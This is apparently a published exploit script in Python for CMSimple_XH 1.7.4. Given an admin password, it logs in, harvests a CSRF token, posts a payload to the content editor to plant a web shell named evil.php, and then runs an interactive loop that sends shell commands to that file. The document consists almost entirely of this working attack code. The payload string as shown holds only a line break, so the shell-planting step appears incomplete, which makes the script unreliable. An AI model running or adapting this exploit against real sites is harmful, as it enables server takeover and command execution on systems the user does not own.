# Exploit Title: CMSimple_XH 1.7.4 - Remote Code Execution (RCE) (Authenticated) # Date: 01-10-2021 # Exploit Author: Halit AKAYDIN (hLtAkydn) # Vendor Homepage: https://www.cmsimple-xh.org/ # Software Link: https://www.cmsimple-xh.org/?Downloads # Version: 1.7.4 # Category: Webapps # Tested on: Linux/Windows # CMSimple_XH is an open source project under GPL3 license # Includes an endpoint that allows remote access # Backup page is misconfigured, causing security vulnerability # User information with sufficient permissions is required. # Example: python3 exploit.py -u http://example.com -p Admin123 from bs4 import BeautifulSoup from time import sleep import requests import argparse def main(): parser = argparse.ArgumentParser(description='CMSimple_XH Version 1.7.4 - Remote Code Execution (Authenticated)') parser.add_argument('-u', '--host', type=str, required=True) parser.add_argument('-p', '--password', type=str, required=True) args = parser.parse_args() print("\nCMSimple_XH Version 1.7.4 - Remote Code Execution (Authenticated)", "\nExploit Author: Halit AKAYDIN (hLtAkydn)\n") host(args) def host(args): #Check http or https if args.host.startswith(('http://', 'https://')): print("[?] Check Url...\n") sleep(2) args.host = args.host if args.host.endswith('/'): args.host = args.host[:-1] else: pass else: print("\n[?] Check Adress...\n") sleep(2) args.host = "http://" + args.host args.host = args.host if args.host.endswith('/'): args.host = args.host[:-1] else: pass # Check Host Status try: response = requests.get(args.host) if response.status_code == 200: login(args) else: print("[-] Address not reachable!") sleep(2) except requests.ConnectionError as exception: print("[-] Address not reachable!") sleep(2) exit(1) def login(args): url = args.host + "/?&login" cookies = { "XH_2f": "evil" } headers = { "Origin": args.host, "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:77.0) Gecko/20190101 Firefox/77.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": args.host + "/?&login" } data = { "login": "true", "keycut": args.password, "submit": "Login" } response = requests.post(url, headers=headers, cookies=cookies, data=data) token = response.cookies.get("XH_2f") soup = BeautifulSoup(response.text, 'html.parser') if (soup.find("link",{"rel":"next"})['href'] != "/"): print("[!] Login Success!\n") sleep(2) csrf(args,token) else: print("[!] Wrong password!!\n") sleep(2) def csrf(args, token): url = args.host + "/?file=content" cookies = { "status": "adm", "XH_2f": token } headers = { "User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:77.0) Gecko/20190101 Firefox/77.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": args.host + "/?&settings", "Accept-Encoding": "gzip, deflate", "Connection": "close" } response = requests.get(url, headers=headers, cookies=cookies) try: soup = BeautifulSoup(response.text, 'html.parser') csrf = soup.find_all("input", type="hidden")[3].get("value") create(args, token, csrf) except Exception as e: print(e) else: pass def create(args, token, csrf): payload = "\r\n" url = args.host cookies = { "status": "adm", "XH_2f": token } headers = { "Origin": args.host, "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:77.0) Gecko/20190101 Firefox/77.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": args.host + "/?file=content&action=edit&xh_success=content", "Accept-Encoding": "gzip, deflate" } data = { "text": payload, "file": "content", "action": "save", "xh_csrf_token": csrf } response = requests.post(url, headers=headers, cookies=cookies, data=data, allow_redirects=True) if (response.status_code == 200): print("[!] Create Vuln File!\n") sleep(2) exploit(args) else: print("[!] Create Failed!\n") sleep(2) def exploit(args): print("[+] Exploit Done!\n") sleep(2) while True: cmd = input("$ ") url = args.host + "/evil.php?cmd=" + cmd headers = { "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:77.0) Gecko/20190101 Firefox/77.0" } response = requests.post(url, headers=headers, timeout=5) if response.text == "": print(cmd + ": command not found\n") else: print(response.text) if __name__ == '__main__': main()